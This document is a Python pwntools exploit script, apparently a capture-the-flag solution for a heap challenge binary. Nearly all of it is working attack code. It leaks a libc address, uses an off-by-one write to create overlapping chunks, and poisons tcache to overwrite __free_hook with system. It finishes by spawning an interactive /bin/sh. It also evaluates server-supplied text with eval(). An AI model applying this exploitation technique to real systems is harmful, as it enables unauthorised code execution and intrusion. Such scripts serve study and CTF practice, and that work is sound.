1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
|
import argparse
import sys
from pwn import *
parser = argparse.ArgumentParser()
parser.add_argument(
"mode",
type=int,
choices=[0, 1, 2],
nargs="?",
default=0,
help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()
filename = "./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = ""
remote_port = ""
context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
context.terminal = ["tmux", "splitw", "-h"]
def VIO_TEXT(x, code=95):
return log.info(f"\x1b[{code}m{x}\x1b[0m")
def CLEAR_TEXT(x, code=32):
return log.success(f"\x1b[{code}m{x}\x1b[0m")
io = None
if args.mode == 0:
io = process(filename)
print(CLEAR_TEXT("[*] Running on local machine"))
elif args.mode == 1:
io = process(filename)
gdb.attach(
io,
gdbscript="""
""",
)
elif args.mode == 2:
io = remote(remote_addr, remote_port)
else:
sys.exit(1)
elf = ELF(filename)
libc = ELF(libc_name)
se = io.send
sl = io.sendline
sa = io.sendafter
sla = io.sendlineafter
slt = io.sendlinethen
st = io.sendthen
rc = io.recv
rr = io.recvregex # 接收直到匹配正则表达式 rr(b"flag\{.*\}")
ru = io.recvuntil
ra = io.recvall
rl = io.recvline
ia = io.interactive
rls = io.recvline_startswith
rle = io.recvline_endswith
rlc = io.recvline_contains
def cmd(idx):
sl(str(idx).encode())
def create(idx, size, content):
cmd(1)
sla(b"command?", str(idx).encode())
sla(b"command?", str(size).encode())
sla(b"command?", content)
sleep(0.1)
def edit(idx, content):
cmd(4)
sla(b"one?", str(idx).encode())
sla(b"change?", content)
def test(idx):
cmd(3)
sla(b"one", str(idx).encode())
return ru(b"Finish!", drop=False)
def delete(idx):
cmd(2)
sla(b"one?", str(idx).encode())
# auto login
ru(b"rebot.\n")
data = (rl(drop=True).split(b" ")[-1].replace(b"?", b"").replace(b"=", b"")).decode()
print(data)
sl(str(eval(data)).encode())
# test create
size1 = 0x38
pay1 = b"aaaa"
# leak libc with unsoreted bin
create(8, 0x410, pay1)
create(7, size1, pay1) # avoid consolidation
delete(8)
create(8, 0x410, b"1") # leak the fd pointer
data = u64(p64(u32(test(8)[4:8]) << 16).ljust(8, b"\x00")) # creating will show information of remained pointer
VIO_TEXT(f"leak libc addr: {hex(data)}")
libc.address = data - 0x3E0000
VIO_TEXT(f"system addr: {hex(libc.symbols['system'])}")
# print(hexdump(data))
# try to layout heap and make overlap
for i in range(4):
create(i, size1, pay1)
# pause()
delete(3)
delete(2) # 2->3 tcache
edit(0, b"/bin/sh\x00".ljust(0x38, b"\x00") + p8(0x81)) # off by one to 2
delete(1) # 1 and 2 are all in one bin now
create(
1,
0x78,
flat(
{
0x30:[
0,
0x41,
libc.symbols["__free_hook"],
]
},
filler=b"\x00",
),
)
# 2->3 has been changed to 2->__free_hook
create(5,size1,pay1) # let 2 out
create(6,size1,p64(libc.symbols["system"])) # overwrite __free_hook with system
delete(0) # trigger system("/bin/sh")
ia()
|